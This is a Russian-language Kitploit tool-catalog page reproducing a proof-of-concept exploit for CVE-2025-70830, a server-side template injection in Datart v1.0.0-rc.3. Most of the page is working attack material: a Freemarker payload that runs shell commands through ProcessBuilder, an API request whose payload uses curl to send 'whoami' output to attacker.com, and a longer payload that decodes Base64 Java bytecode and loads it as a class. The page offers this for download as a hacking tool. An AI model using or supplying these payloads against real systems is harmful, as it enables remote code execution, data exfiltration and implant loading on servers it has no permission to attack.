Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-70830 — Уязвимость внедрения шаблонов на стороне сервера (SSTI) в шаблонизаторе Freemarker в Datart v1.0.0-rc.3 позволяет аутентифицированным злоумышленникам выполнять произвольный код путем внедрения специально созданного синтаксиса шаблонов Freemarker в поле SQL-скрипта. | Kitploit
Инструменты/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

Уязвимость внедрения шаблонов на стороне сервера (SSTI) в шаблонизаторе Freemarker в Datart v1.0.0-rc.3 позволяет аутентифицированным злоумышленникам выполнять произвольный код путем внедрения специально созданного синтаксиса шаблонов Freemarker в поле SQL-скрипта.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
56 месяцев назадЕщё не проверено

CVE-2025-70830: Внедрение серверных шаблонов (SSTI) в Datart

Обзор уязвимости

  • Номер CVE: CVE-2025-70830
  • Затронутый продукт: Datart
  • Затронутая версия: v1.0.0-rc.3
  • Тип уязвимости: Server-Side Template Injection (SSTI) — внедрение серверных шаблонов
  • Уровень опасности: Remote Code Execution (RCE)

Описание уязвимости

В Freemarker-шаблонизаторе версии Datart v1.0.0-rc.3 присутствует уязвимость внедрения серверных шаблонов (SSTI). Аутентифицированный злоумышленник может выполнить произвольный системный код, внедрив вредоносный синтаксис шаблонов Freemarker в поле SQL-скрипта.

Инструкция по воспроизведению (Proof of Concept)

1. Предварительные условия

  • Войти в систему Datart.
  • Иметь доступ к источнику данных (Data Source) с функцией выполнения SQL, а также возможность его редактировать.

2. Конструкция Payload

В редакторе SQL-скриптов / запросов введите следующий Payload Freemarker для выполнения системных команд (например, id или calc):

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

Нажмите выполнить скрипт — сервер выполнит команду в фоне.

3. Пример HTTP-запроса

Пакет запроса для запуска уязвимости через API:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

Дальнейшая эксплуатация (Advanced Exploitation)

Загрузка произвольного байт-кода (Load Custom Bytecode)

Злоумышленник может использовать javax.script.ScriptEngineManager из Java для вызова JS-движка и загрузки/выполнения произвольного байт-кода Java, закодированного в Base64.

Пример Payload:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
Скачать инструмент